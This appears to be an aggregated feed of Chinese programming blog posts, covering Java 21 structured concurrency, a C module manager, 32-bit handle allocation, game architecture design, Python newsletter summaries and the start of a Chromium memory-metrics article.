        Subtask<Integer> t1 = scope.fork(() -> task1(1));
        Subtask<Integer> t2 = scope.fork(() -> task2(0));
        scope.join().throwIfFailed();
        System.out.println(t1.get());
        System.out.println(t2.get());
    }
    System.out.println("main thread end");
}

首先,我们使用 new StructuredTaskScope.ShutdownOnFailure() 创建一个 ShutdownOnFailure 策略的 StructuredTaskScope,然后在 scope.join() 的时候,通过 throwIfFailed() 让其在子任务失败时抛出异常。假设 task1 异常,运行结果如下:

main thread start
task1 start
task2 start
java.lang.InterruptedException
        at java.base/java.lang.VirtualThread.sleepNanos(VirtualThread.java:805)
        at java.base/java.lang.Thread.sleep(Thread.java:507)
        at StructuredConcurrencyDemo.task2(StructuredConcurrencyDemo.java:91)
        at StructuredConcurrencyDemo.lambda$9(StructuredConcurrencyDemo.java:130)
        at java.base/java.util.concurrent.StructuredTaskScope$SubtaskImpl.run(StructuredTaskScope.java:889)
        at java.base/java.lang.VirtualThread.run(VirtualThread.java:311)
task2 end
Exception in thread "main" java.util.concurrent.ExecutionException: java.lang.RuntimeException: code is illegal
        at java.base/java.util.concurrent.StructuredTaskScope$ShutdownOnFailure.throwIfFailed(StructuredTaskScope.java:1318)
        at java.base/java.util.concurrent.StructuredTaskScope$ShutdownOnFailure.throwIfFailed(StructuredTaskScope.java:1295)
        at StructuredConcurrencyDemo.testStructuredTaskScopeShutdownOnFailure(StructuredConcurrencyDemo.java:131)
        at StructuredConcurrencyDemo.main(StructuredConcurrencyDemo.java:14)
Caused by: java.lang.RuntimeException: code is illegal
        at StructuredConcurrencyDemo.task1(StructuredConcurrencyDemo.java:74)
        at StructuredConcurrencyDemo.lambda$8(StructuredConcurrencyDemo.java:129)
        at java.base/java.util.concurrent.StructuredTaskScope$SubtaskImpl.run(StructuredTaskScope.java:889)
        at java.base/java.lang.VirtualThread.run(VirtualThread.java:311)

可以看到当 task1 异常时,task2 出现了 InterruptedException,说明 task2 被中断了,从而避免了无谓的等待。

ShutdownOnSuccess 策略

使用 ShutdownOnSuccess 策略,只要某个子任务中成功,将导致所有其他子任务终止。它的使用方法如下所示:

private static void testStructuredTaskScopeShutdownOnSuccess() throws Exception {
    System.out.println("main thread start");
    try (var scope = new StructuredTaskScope.ShutdownOnSuccess<Object>()) {
        scope.fork(() -> task1(0));
        scope.fork(() -> task2(0));
        scope.join();
        System.out.println(scope.result());
    }
    System.out.println("main thread end");
}

首先,我们使用 new StructuredTaskScope.ShutdownOnSuccess<Object>() 创建一个 ShutdownOnSuccess 策略的 StructuredTaskScope,然后通过 scope.join() 等待子任务结束,任意一个子任务结束,整个 StructuredTaskScope 都会结束,并保证其他子任务被取消,最后通过 scope.result() 获取第一个运行成功的子任务结果。运行结果如下:

main thread start
task1 start
task2 start
task2 end
2
java.lang.InterruptedException
        at java.base/java.lang.VirtualThread.sleepNanos(VirtualThread.java:805)
        at java.base/java.lang.Thread.sleep(Thread.java:507)
        at StructuredConcurrencyDemo.task1(StructuredConcurrencyDemo.java:78)
        at StructuredConcurrencyDemo.lambda$10(StructuredConcurrencyDemo.java:142)
        at java.base/java.util.concurrent.StructuredTaskScope$SubtaskImpl.run(StructuredTaskScope.java:889)
        at java.base/java.lang.VirtualThread.run(VirtualThread.java:311)
task1 end
main thread end

可以看到当 task2 最先运行结束,所以输出了 task2 的结果,同时 task1 出现了 InterruptedException,说明 task1 被中断了,避免了线程泄露。

自定义关闭策略

如果这两个标准策略都不满足你的需求,我们还可以编写自定义的策略,通过继承 StructuredTaskScope 类,并重写其 handleComplete(...) 方法,从而实现不同于 ShutdownOnSuccessShutdownOnFailure 的策略。这里 有一个自定义关闭策略的示例可供参考。

可观察性

使用结构化并发的另一个好处是,线程是有层次结构的,我们可以从线程转储中看到某个主线程都派生了哪些子线程,也可以看出某个子线程来自于哪个主线程,从而方便问题排查。使用下面的命令以 JSON 格式进行线程转储:

$ jcmd <pid> Thread.dump_to_file -format=json threads.json

从转储结果中可以清晰的看到线程之间的层次结构:

{
    "container": "java.util.concurrent.StructuredTaskScope$ShutdownOnSuccess@58644d46",
    "parent": "<root>",
    "owner": "1",
    "threads": [
        {
            "tid": "19",
            "name": "",
            "stack": [
                "java.base\/java.lang.VirtualThread.parkNanos(VirtualThread.java:631)",
                "java.base\/java.lang.VirtualThread.sleepNanos(VirtualThread.java:803)",
                "java.base\/java.lang.Thread.sleep(Thread.java:507)",
                "StructuredConcurrencyDemo.task1(StructuredConcurrencyDemo.java:78)",
                "StructuredConcurrencyDemo.lambda$10(StructuredConcurrencyDemo.java:142)",
                "java.base\/java.util.concurrent.StructuredTaskScope$SubtaskImpl.run(StructuredTaskScope.java:889)",
                "java.base\/java.lang.VirtualThread.run(VirtualThread.java:311)"
            ]
        },
        {
            "tid": "21",
            "name": "",
            "stack": [
                "java.base\/java.lang.VirtualThread.parkNanos(VirtualThread.java:631)",
                "java.base\/java.lang.VirtualThread.sleepNanos(VirtualThread.java:803)",
                "java.base\/java.lang.Thread.sleep(Thread.java:507)",
                "StructuredConcurrencyDemo.task2(StructuredConcurrencyDemo.java:92)",
                "StructuredConcurrencyDemo.lambda$11(StructuredConcurrencyDemo.java:143)",
                "java.base\/java.util.concurrent.StructuredTaskScope$SubtaskImpl.run(StructuredTaskScope.java:889)",
                "java.base\/java.lang.VirtualThread.run(VirtualThread.java:311)"
            ]
        }
    ],
    "threadCount": "2"
}

总结

这个 Java 21 的学习笔记系列,是从去年 12 月份开始学习并整理的,中间由于学习大模型相关技术停滞了半年时间,今年 7 月份开始继续写,前前后后花了大约 3 个多月的时间,总算将 Java 21 里的所有特性都过了一遍。Java 21 是最新的 LTS 版本,自 2023 年 9 月发布以来,已经在很多企业和项目中使用。Java 技术在飞速发展和演进,Java 22 于今年 3 月发布,Java 23 计划在 9 月推出,这样的发展速度让我觉得它并不是一个年近 30 的编程语言,而是一个朝气蓬勃、活力无限的语言,为了不使自己落伍,学习 Java 新版本已经势在必行。

Java 21 带来了一系列重要的功能和特性,在学习过程中,为了彻底搞清每个特性的来龙去脉,我都尽量从最基础的概念讲起。比如学习密钥封装机制 API 时,我们从对称加密、非对称加密、混合密码系统开始学起,最终才引出 KEM 的概念和作用;比如学习外部函数和内存 API 时,我们从 JNI 的缺点引出 FFI,从 ByteBufferUnsafe 的缺点引出 Memory API,从而对 FFM API 有一个更深入的认识;又比如学习向量 API 时,我们从最基础的向量是什么开始学起,然后引入标量计算、向量计算以及 SIMD 的概念,让我们明白 Java 为何要引入向量 API,以及看到 Java 语言发展的一个重要方向。

关于 Java 21 网上已经有大量的学习资料和教程,但是和网上那些教程不同的是,我在学习时喜欢抽丝剥茧,追根溯源,打破砂锅问到底。我认为只有充分了解一个事物的历史,才能真正掌握这个事物的未来,我对 Java 21 中的每一个特性都做了一定的延伸和展开。但是同时,我在学习时也有很多参考这些教程的地方,笔记中使用的图片大多引用自这些教程,在这里对所有原作者表示感谢。

整个系列篇幅较长,如有遗漏,还望指正。

参考

扫描二维码,在手机上阅读!

by aneasystone at August 25, 2024 02:15 AM

August 24, 2024

codingnow

一个简单的 C 模块管理器

我在用 C 构建项目,尤其是和 Lua 混合使用时,一直很头疼 C 没有一个统一的模块管理器。Lua 的模块管理虽然简单,但毕竟有且够用。一种方法是把 C 模块封装成一个个 Lua 模块,让 Lua 帮助管理,每个 C 模块是独立的,相互不可见。

但当 C 模块之间发生关系时,就比较麻烦。当然,简单的方法是通过链接器把它们都链接在一起,通过函数名前缀以区分。或是利用操作系统的动态库加载器来管理模块。

最近有了一点有趣的想法,觉得一个最简的模块管理器其实复杂度并不高。花了半天功夫实现了一下,感觉还不错。

https://github.com/cloudwu/cmod/

我在设计时,刻意回避了使用 macro 魔法,让它的接口保持原始的 C 风格。而且,实现上也不依赖任何内存分配函数,整个管理器需要的内存是一开始由调用者分配好一大块传入的。

这个管理器只管理函数指针,刻意没有去管理其它状态(比如类似事务、COM 管理的就不只是函数接口,还保留对象实例),但还是为每个管理器实例留有一个 userdata 指针,供使用者扩展。


其中的 import 函数,也就是通过字符串查找对应的模块,使用的是简单的 O(n) 遍历所有已注册模块的算法。如果接下来有性能需要的话,我会再加一个 hash 表做一些简单的 cache 。

by 云风 at August 24, 2024 10:23 AM

pythoncat

Python 潮流周刊#66:Python 的预处理器

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 12 篇文章,12 个开源项目,1 则音视频,全文 2100 字。
以下是本期摘要:
① Python 的预处理器
② 用自定义扩展将 Scrapy 统计信息保存到数据库
③ 2024 年了,是 Gevent 还是选择 asyncio Part 1?
④ 深入浅出 Python 代码混淆:原理与实践
⑤ PEP-752:包存储库命名空间
⑥ 500 个 Python 解释器
⑦ 如何用 Python 开发一种查询语言?
⑧ 用 Python 开发电子表格引擎
⑨ 用 n8n、Telegram、在线表单和 Python 实现 Web 自动化
⑩ Rye 和 uv:八月是 Python 打包的丰收季节
⑪ 如何用 LangChain 开发聊天机器人?
⑫ GPU 编程系列之三,实现快排算法
① dir-assistant:用 LLM 与本地文件对话
② lark-ticket:飞书工单的增强功能
③ py5book:py5 的 Juypter book 仓库
④ audiosample:类似 numpy 的音频操作库
⑤ RAG_Techniques:关于检索增强生成(RAG)的各种先进技术
⑥ labelU:支持图片、音频和视频的数据标注工具
⑦ magic-wormhole:安全地跨电脑传文件
⑧ sudoku-solver:基于视觉的数独解题器
⑨ OpenBB:适合任何地方任何人的投资研究
⑩ OpenHands:AI 软件工程师
⑪ authentik:你需要的身份验证工具
⑫ 13ft:自定义的 12ft.io 替代品
① Talk Python To Me #472:2024 年 Flask 和 Pallets 的状态

目前周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个:你绝对不会后悔的专栏
订阅后,可免费查看 第 66 期周刊的全文
PS.本周刊前30期的合集永久免费,已集结出了精美电子书(EPUB/PDF),请从该合集文章开头获取下载链接。
另外,付费期数将在其 50 期后免费开放,例如第 66 期将在第 116 期时免费,敬请留意。

August 24, 2024 12:00 AM

August 18, 2024

codingnow

32 位 handle 的一种生成方法

我倾向于在 C 程序里使用整数 handle ,而不是指针。尤其是需要做弱引用的时候。

我认为,一个好的 handle 生成算法,应该满足:

  1. 即使 handle 被销毁了,它这个数字也应该被保留,不应该被新的 handle 复用。posix api 里的文件 id 就不符合这一点。
  2. 提供一个 api 可以判断一个 handle 是否有效,其时间复杂度为 O(1) 。
  3. 从 handle 对应为对象的内存地址的时间复杂度应该为 O(1) ,不应该比指针有明显的性能问题。虽然 hash 表理论上可以满足 O(1) 的时间复杂度,但在糟糕的场景(hash 碰撞发生时)并不能保证这一点。
  4. 构造 handle 时间复杂度也为 O(1) 。
  5. handle 的数字位宽最好不要超过 32 bit 。

如是长期运行的程序,第一和第四个需求不能同时成立。但对于非长期程序,理论上 32bit 的数字应该是够用了。

比较简单的实现方案是用一个自增 id ,然后用一张 hash 表来保存 id 到指针的映射。但 hash 表不是严格的 O(1) 复杂度。在 skynet 中,我使用了一个简单的方法:自增 id 后,如果发现 hash 冲突,就再加一,直到不冲突为止。这个方法不能满足第 4 点需求。

当然,同时满足 5 点需求未必有多大的意义,但我最近想到一个有趣的方案,稍微实现了一下,感觉可以做到。

前提是:为了让 32bit 数字就够用,同时有效的 handle 不能太多(大多数场景是这样的)或是在同时有效的 handle 很多时,不要过于频繁销毁和创建很少的几个 handle 。

我们用一个固定 size 为 2^n 的整数数组来管理所有的 handle 。handle 对 size 取模,就是它在这个数组所在的 slot 。然后,我们只需要维护一个完美 hash 表,所有分配出去有效的 handle 都不在这张 hash 表中发生碰撞。这是可以用 O(1) 时间做到的:方法是,每次回收 handle ,都把该 slot 的高 (32-n) bits 加一,这个新的待分配的 id 绝对不会和已分配过的 id 重复。

和简单的循环自增 id 检查冲突的算法相比较,不仅仅是时间上更稳定。最主要的好处是,这个算法更难耗尽 32bit 的空间(发生回绕)。尤其在有效 handle 数量较多时,一旦发生碰撞,自增 id 的方式一下子就会跳过很多数字,而这些数字中大部分是从来没有使用过,本可以安全的分配出去的。

在 handle 销毁(回收时),同时把 handle 串在该数组里的 free list 即可保证下次 O(1) 时间就能完成新 handle 的分配。

举个例子:

如果我们限制最大有效 handle 数为 4 ,如果把 0 保留为无效 id ,那么分配四次后,handle 分别为 1 2 3 4 。

这时,如果我们把 2 销毁,重新分配的话,新的 handle 是 6 而不是 5 (因为 5 和 1 会发生 hash 碰撞)。这时,再销毁 6 然后分配一个新 handle ,这个新的 handle 会是 6+4 = 10 。

在这个算法中,是不是之后所有新增 handle 都比 10 大呢?并不是。如果销毁 1 ,再分配的话,会得到 5 ,5 比 10 小。

这个算法获得的 handle 的数值并非单调递增的,它比自增方案更节省全部的数字空间。


如果这个数组满了怎么办?一般我们不用考虑这种情况,应该一开始规划好上限(例如 posix 的同时打开文件数就有上限)。但若是想解决,也可以倍增 size 。只不过 rehash 的过程比较复杂:不光是要把已有的有效 handle 重新填在新数组中,还需要额外标记那些可能用过的 slots 。

我写了一个简单的实现:https://gist.github.com/cloudwu/dcbf583f7034ef6c0f8adec3f76860f0

借助这个数据结构,我们就可以把同类对象分配在一个大数组中,然后用 handle 索引它们,和指针相比,几乎没有额外的开销。并且有如下好处:

  1. 可以简单的判断一个 handle 是否有效(指针无法安全的做到这点),容易写出健壮的代码。
  2. 方便做持久化。
  3. handle 可以用于 C/S 同步。

by 云风 at August 18, 2024 11:45 AM

August 17, 2024

pythoncat

Python 潮流周刊#65:CSV 有点糟糕

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 12 篇文章,12 个开源项目,全文 2000 字。
以下是本期摘要:
① CSV 有点糟糕。DSV 有点不错
② 用 Scrapy 和 Playwright 实现无限滚动页面的抓取
③ 用 Python 作测试(第 9 部分):额外的一英里
④ fastcore:一个被低估的 Python 库
⑤ Knuckledragger:一个半自动的 Python 校验助手
⑥ 优化 PyTorch Docker 镜像:如何将大小减少 60%?
⑦ Python 中 Pydantic 实现近似的求和类型
⑧ PEP-750:用来编写领域特定语言的标签字符串
⑨ 我在开发现代 TUI 框架时学到的 7 件事
⑩ 通过 GDB 用 PDB 调试运行中的 Python 脚本
⑪ Pandas 有效管理大型数据集的内存使用
⑫ 3.5 亿 Token 不会说谎:Hacker News 中的爱与恨
① Emval:Rust 开发的 Python 邮件验证库
② fastcore:增强 Python 的功能
③ scrapy-playwright:Scrapy 的 Playwright 集成
④ DELTADB:基于 Polars 和 DeltaLake 的数据库
⑤ AgentK:可自我进化的、模块化的 AGI
⑥ llm_aided_ocr:用 LLM 矫正扫描版 PDF 的 OCR 结果
⑦ translation-agent:使用反省工作流的翻译代理
⑧ PY4E:适合所有人的 Python 学习课程
⑨ unstract:无代码 LLM 平台,启动 API 和 ETL 管道
⑩ tokencost:轻松估算 400+ LLMs的 token 价格
⑪ PyOptInterface:Python 作数学优化的高效建模接口
⑫ metasequoia-sql:注重性能的 SQL 语法解析和分析器

目前周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个:你绝对不会后悔的专栏
订阅后,可免费查看 第 65 期周刊的全文
PS.本周刊前30期的合集永久免费,已集结出了精美电子书(EPUB/PDF),请从该合集文章开头获取下载链接。
另外,付费期数将在其 50 期后免费开放,例如第 65 期将在第 115 期时免费,敬请留意。

August 17, 2024 12:00 AM

August 16, 2024

meituan

信息流广告预估技术在美团外卖的实践

本文整理自美团技术沙龙第81期《美团在广告算法领域的探索及实践》(B站视频)。文章首先介绍了美团信息流广告业务以及预估技术的现状,然后重点分享了信息流广告预估在美团的具体实践,围绕决策路径、超长超宽建模和全还原建模等多个维度进行了分享,最后是一些总结和展望,希望能对大家有所帮助或启发。

by 美团技术团队 at August 16, 2024 12:00 AM

August 13, 2024

codingnow

基地建设(工厂)类游戏的玩家体验

这两天思考了一下,基于工厂生产的基地建设类游戏给玩家提供的核心体验到底是什么?以及,我们去年被取消的游戏到底还差点什么。接下来我要制作的游戏的注重点应该在哪里。

我玩的时间比较长的两个基地建设类游戏:异星工厂和缺氧,它们的玩法其实差异很大,但却给人一些近似的体验。对于这个问题,我想过很多次,得出的结论是,它们的确有一些共通之处:

玩家在玩这两个游戏时的情感体验过程非常类似,大致是这样的:

  1. 玩家开始了解基本规则。对于异星工厂来说,就是采集原料,生产加工,生产科技瓶,推进科研发展;对于缺氧来说,是建造设施用来提供小人的各种生存所需,不要让他们死掉。

  2. 让玩家了解游戏的终极目标。这通常是建设一项宏伟的工程。异星工厂和缺氧的原版目标,不约而同的都选择了制作并发射火箭逃离所在星球。

  3. 玩家根据完结游戏的目标和已经了解的游戏规则,在心里做出通关(或是解决阶段性目标)的计划。

  4. 玩家在实施计划的过程中遇到挫折。这通常是发生了一些未曾预料的意外。这个意外并不是系统额外强加进来的,反而是在已透露给玩家的规则下合理发生的。所以,玩家会觉得是自己对规则理解的不够,而不是来源于设计者的恶意。

  5. 玩家修正自己的计划,重新理解游戏系统。如果挫折时由游戏规则内在随机性带来的(缺氧中略微多见),玩家学会应对这些随机性,随之增强自己对抗游戏的自信;而异星工厂(尤其是关闭战斗后)是一个无危机的游戏。但还是会随着自己管理的工厂规模变大,需要更新物流方案,不然生产效率会逐步降低。

  6. 游戏适时介绍一些新系统。在缺氧中变现为一些未曾预料的挑战(比如温度控制在初期没有表现),同时引入新的应对策略;在异星工厂里表现为新的物流方式(火车、无人机等),可以用来提升效率,但这些对玩家是可选的。

  7. 玩家根据新系统迭代自己的计划。


结论:

这类游戏不能将规则简化到一眼望穿,一定要避免变成一个放置游戏,需要提供足够的细节。这些细节的作用是:虽然核心规则可以让玩家做出计划,预测目标该如何完成,但在微观上很难准确预测,细微的偏差会产生混沌效应。即,小小的行为偏差会引起结果的巨变。

一定要给玩家提供一个 "为了结束游戏” 而建立 "长期计划图景" 的舞台。如果缺少这一点,无论是异星工厂的传送带玩法,缺氧的生存玩法,都不足以吸引玩家长期玩下去。

也就是说,微观玩法是帮助玩家建立核心体验的手段,而玩家的核心体验并不在玩这些玩法的游戏过程,而在做出规划然后实施规划上。

by 云风 at August 13, 2024 01:39 PM

August 10, 2024

pythoncat

Python 潮流周刊#64:Python 的函数调用还很慢么?

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 11 篇文章,13 个开源项目,1 则音视频,全文 2000 字。
以下是本期摘要:
① CPython 的函数调用还很慢么?
② Python ASGI 应用中的日志上下文传播
③ PyCon US 2024 回顾和视频已发布
④ Python API 集成的深度教程
⑤ Python 每月热点话题合集(日语)
⑥ 快速找到合适的日期时间格式代码
⑦ django-http-debug,一个新的 Django 应用程序
⑧ PyTorch Lightning:全面的实践教程
⑨ Python 扩展应该是懒惰的
⑩ 不要过早 DRY 你的代码
⑪ 引发我很多思考的那些编程文章
① zato:Python 中的 ESB、SOA、REST、API 和云集成
② segment-anything-2:Meta SAM 2 模型推理代码
③ alive-progress:终端里的酷炫动画进度条
④ Ingram:网络摄像头漏洞扫描工具
⑤ Deep-Live-Cam:实时换脸和一键式视频 deepfake
⑥ annotated_deep_learning_paper_implementations:60 篇深度学习论文的实现/教程,附注释
⑦ table-transformer:从非结构化文档(PDF 和图像)中提取表格
⑧ wsgidav:基于 WSGI 的通用且可扩展的 WebDAV 服务器
⑨ silero-vad:预训练的企业级语音活动检测器
⑩ textual-serve:在本地将 Textual 应用变为 Web 应用
⑪ geopandas:用于处理地理数据的 Python 工具
⑫ IMS-Toucan:多语言和可控的文本转语音工具包
⑬ beancount:用文本文件进行复式记账
① Ep 48. 专访高天:为了当好 B站 up主,我成为了 Python 核心开发者

目前周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个:你绝对不会后悔的专栏
订阅后,可免费查看 第 64 期周刊的全文
PS.本周刊前30期的合集永久免费,已集结出了精美电子书(EPUB/PDF),请从该合集文章开头获取下载链接。
另外,付费期数将在其 50 期后免费开放,例如第 64 期将在第 114 期时免费,敬请留意。

August 10, 2024 12:00 AM

August 08, 2024

codingnow

gameplay 框架设计总结

游戏行业从业 20 多年,一直在做底层开发,即使是帮助其他团队写上层游戏逻辑,也都是实现某些特定的功能模块。直到最近,我想单独开发游戏,才好好想想架子该怎么搭。

从最初的原始 demo 开始,由于缺乏经验,写着写着经常有失控的感觉。好在一个人做,重构的心理负担不大。想改的时候,停下来花上两三天全部重写也不太所谓。最近总算顺畅了一点,感觉需要整理一下思路,所以写一篇 blog 记录一下。

任何复杂的软件问题,都可以通过拆分为若干子问题减少复杂度。

我认为,游戏的上层逻辑,即 gameplay 部分,主要分为三块:数据模型、外在表现和人机交互。

“数据模型”是 gameplay 的核心部分,即把游戏的画面等外在表现以及图形界面、操作控制(鼠标键盘控制器等)等剥离后的东西。如何判断一个模块是否属于数据模型,是否有不属于它的部分没有拆分出去,最简单的方法是看它是否有直接调用游戏引擎的代码。拆分干净后,这块不应该包含任何与图形、界面、时钟、控制输入有关的接口。除了一些必要的文件 IO 接口(主要是用来读取 gameplay 相关的策划数据,写 log ,做数据持久化等),也不应该涉及任何 OS 的 API 。

这样,我们就可以方便的对它进行整体或局部的测试。必要时还可以更换游戏引擎,甚至从文本 roguelike 换到 3D 表现都不会受影响。

“外在表现”当然是指游戏的画面表现、声音声效等等,通常这由游戏引擎实现,但还会有大量的代码存在于 gameplay 的实现中。这一块代码也会维护大量的状态,但不会涉及数据持久化。简单的判断方法是:如果游戏保存进度时,所有这里的所有状态都可以舍弃,下次读取进度后,这些状态又能被重建,而玩家不会感觉丢失了任何数据。

“人机交互”是游戏软件必要的部分,如果没有“人”的存在,游戏也就没有意义了。这块分为两个部分:图形界面用于展示游戏的数据给人看,同时接收一些来至界面的间接输入;控制器(包括并不限于手柄鼠标键盘触摸屏等)对游戏的直接控制。

对于联网游戏,还应包括第四大块:“网络输入”。这篇 blog 仅讨论非联网游戏。


对于“数据模型”这块,我在编码时,把这个起名为 gameplay 。可以进一步的分为两大类:被动对象 Object 和 自治体 Actor 。

Object 我认为应按类别分类,每类对象聚合在一起管理。它们可以是场景上的物件、游戏角色等这种会在表现层上找到对应物的东西,也可以是任务清单这种不在表现层呈现的东西(可能会在界面上呈现)。在实现 Object 时,应该理清它的数据和操作这些数据的方法。

对于数据部分,应该在早期就考虑如何持久化,即游戏的 Load Save 该如何实现:通常就是对每类对象的每个个体单独做持久化。为了实现持久化,每个 Object 都应用 id 管理,id 和 typename 是它们的共有属性。

其它数据应该尽量保持相互独立,避免相互引用。如非必要,不提供额外的数据控制的方法。因为一旦要提供特定的方法操作数据,往往是因为多项数据相互关联,必须用单个方法去控制它们来保持一致性。基于这个原则,Object 不应该提供像 update 这样的方法。所以,Object 是静态数据集合,它是被动的。

那么,游戏是怎么运转起来的呢?我们可以再实现一系列的自治体 Actor 。每个 Actor 对应了游戏世界中的一个实体,它可以关联一个或多个 Object ,通过读写 Object 的数据控制它们。大多数游戏在 gameplay 层面不会遇到太大的性能问题,所以这里不考虑并行处理。虽然 Actor 逻辑上是各自独立的,但串行处理可以避免考虑并发读写 Object 的问题。

Actor 使用消息驱动。不同类的 actor 有不同的 update 函数来处理每个 tick 的行为,可以处理消息。游戏世界接收外界输入只能通过向 actor 发送消息完成。actor 通常实现为一个状态机,这样可以让游戏世界中的虚拟角色在不同状态下有不同的行为。actor 需要维护许多的数据中间状态,同时也要考虑持久化问题,但大部分内部状态不应该持久化。大多数情况下,应保证只持久化状态机当前状态的名字就够了。其余运行时状态应当可以根据它重建。

例如:游戏中一个工人,接收了一个任务订单,需要从 A 处拿取一个货物送到 B 处。

  • 订单是一个 Object ,数据内容有起点和终点的位置,货物的总类和数量等信息。
  • 工人是一个 Object ,数据内容有它的当前位置、携带物、订单号等。
  • 有一个 Actor 作为工人的控制器,它用于控制工人的行为,比如申请订单、接收订单、执行订单等。

而执行订单的过程,又可以分成若干步骤:

  1. 确定去 A 点的路径
  2. 移动到 A 点
  3. 获取物品
  4. 确定去 B 点的路径
  5. 移动到 B 点
  6. 放置物品

这些步骤,有些是可以立刻完成的,有些则需要若干 tick 。对于需要很多 tick 才能执行完的过程,必定存在一些中间状态,这些状态不必参与持久化。这些运行时的临时状态应当可以被重建。比如,在“移动”这个步骤,一旦外界环境发生变化(例如场景变化了,路程可能被封堵),actor 收到消息,就会把状态机切换到“寻路”这个步骤,之前“移动”步骤的执行过程所创建的中间状态就不需要了。

设计持久化方案是一个优先级很高的事情。因为在考虑持久化时,就会认真设计数据模型。修改数据模型,如果同时考虑不破坏持久化功能,也会更谨慎一些。

不要简单的将 持久化 等同于把 Object 和 Actor 的运行期内存数据结构简单的序列化。持久化更像是把运行时的对象还原为一系列的构造参数,下次加载时可以通过这些参数重新构造运行时结构;而运行时结构往往会考虑性能因素构造成更复杂的数据结构,数据结构中存在一些复杂的相互引用关系。

例如:订单系统的运行时结构可能是 id 到 订单的映射表,这样方便从订单 id 查询到订单。但在做持久化时,把订单保存在一个顺序列表中更好。


如何把数据模型表现出来呢?这要看引擎是用什么模式工作。

一般会有两种模式:立即模式(Immediate Mode)和保留模式(Retained Mode)。引擎也可能根据渲染不同类型的东西混合提供两种模式。

如果是立即模式,那么每帧画面由“表现层”(代码中,命名为 visual )遍历“数据层”的 Object 取出其状态,提交渲染即可。

如果是保留模式,一般我会在表现层为数据模型里的 Object 建立对应的 visual object 。对应关系可以是 1:1 ,也可以是 1:n 即一个数据 object 对应多个 visual object 。而数据层记录每个 tick 的状态变化,最后用消息队列的方式仅把变化传递到表现层。根据这个状态变化消息,修改 visual object 的状态,同步给引擎渲染。

无论是什么模式,都不会在数据模型中直接调用渲染引擎的 API ,数据模型也不会直接持有 visual object 的引用。

渲染层一般不会直接给数据模型中的 Actor 发送消息,而只会读取(不会改变) Object 的状态数据。但如果表现层有额外的反馈设计,比如有物理系统,让物理系统可以对游戏世界发生反馈,一些属于纯表现的,就在表现层自己消化。另一些会影响数据模型的,就会变成一个消息源,向 Actor 发送消息。可以把它们看成是交互层的一部分。


交互层通常分为 HUD 、GUI、Controller 。大部分用户输入来至于 Controller :手柄、鼠标、键盘等。需要对这些设备的原始输入根据场合做一些转换,避免直接处理诸如鼠标按下、手柄摇杆向左这样的消息,而应该转换为更高阶对 gameplay 有意义的消息:例如变成发起攻击、跳跃,向左行走等。还有一些输入来自于 HUD 或 GUI ,更应当避免在 GUI 的代码中直接访问数据模型,更不要直接控制表现层的 visual object ,而应该先转换成 gameplay 的消息。

例如:“存盘”就应该是一条消息,而不应该是直接的函数调用。保存进度和读取进度在消息处理过程中应该只做一个标记,而在每个 tick 末尾再检查这个标记做对应操作(通常是先 save 再 load )。这样才能更简单的保证数据一致性。

最终在每个 tick ,这些交互层产生的消息会分发发到数据模型中的 actor 。actor 的 update 驱动了整个 gameplay 的状态变化。

by 云风 at August 08, 2024 05:59 AM

August 04, 2024

ihewro

chromium resource_attribution 模块的前世今生

前言

在 chromium 浏览器中,当鼠标 hover 到标签页上的时候会显示标签页的内存占用,如下图所示:

:size=30%

这个功能中,需要定时采集进程内存,同时在标签页创建首次加载完成后,也需要立即采集一次内存。

chromium 中关于与这个功能相关的是 performance manager 模块,其中一个重要环节是是性能数据的获取。关于数据获取的逻辑在今年也有了比较大的重构,因此借此从变更中了解 chromium 的代码设计思路。

旧设计

旧设计中,由 ProcessMetricsDecorator 来实现这一功能。decorator 是 chromium performance graph 模块中重要的一个概念,即对通过具体的行为逻辑修改节点(Node)的属性。首先通过调用 memoryInstrumentation 来定时采集内存,获取到数据后,根据进程中的 webview 数目来分配内存到单个 webview 上。

因为 chromium 的多进程策略原因,可能多个网页在多个进程中,因此单个标签页的内存是通过均匀分配的方式来估算出来的。

定时采集的流程如下,这个思路是非常自然和顺畅的。即先获取内存数据,接着内存分配给每个页面上,最终设置到和 Webcontents 绑定的 ResourceUsageTabHelper 内部。

这里的 Receiver 设计,这在 chromium 中非常常见,即引入一个第三者来解除 Notifier 和 Manager 之间的依赖关系,这种设计更解耦,但是也会让调用链路更长。

image.png :size=50%

chromium 考虑的更多一些:定时器是否有必要 chromium 运行后就一定要启动呢,并且一直不停止?这实际取决于有没有业务需要使用内存数据。因此 chromium 设计了 ScopedMetricsInterestTokenImpl 类来对关注内存数据的业务方进行计数。业务方数目从 0 变成 1 的时候启动定时器,当业务方数目为 0 的时候停止定时器。

另一个问题是 ProcessMetricDecorator 对外提供了一次性的立即采集所有进程的接口,因此需要考虑到截流限制内存采集频率,因此在真正采集之前需要判断两个条件:

  • 如果已经在采集过程中,则不用再触发新的采集,因为采集是后台线程异步过程
  • 如果当前时间与上一次采集时间的差<阈值,则不会触发新的采集,因为当前缓存的数据比较新
void ProcessMetricsDecorator::RequestImmediateMetrics() {
  if (state_ == State::kWaitingForResponse) {
    // A measurement is already being taken and will be available immediately.
    return;
  }
  if (!last_memory_refresh_time_.is_null() &&
      base::TimeTicks::Now() - last_memory_refresh_time_ <
          kMinImmediateRefreshDelay) {
    // The most recent measurement is fresh enough.
    return;
  }
  ...// 采集逻辑
}

这些逻辑都很好理解,因此 chromium 的旧版本设计是非常符合直觉的。

新设计

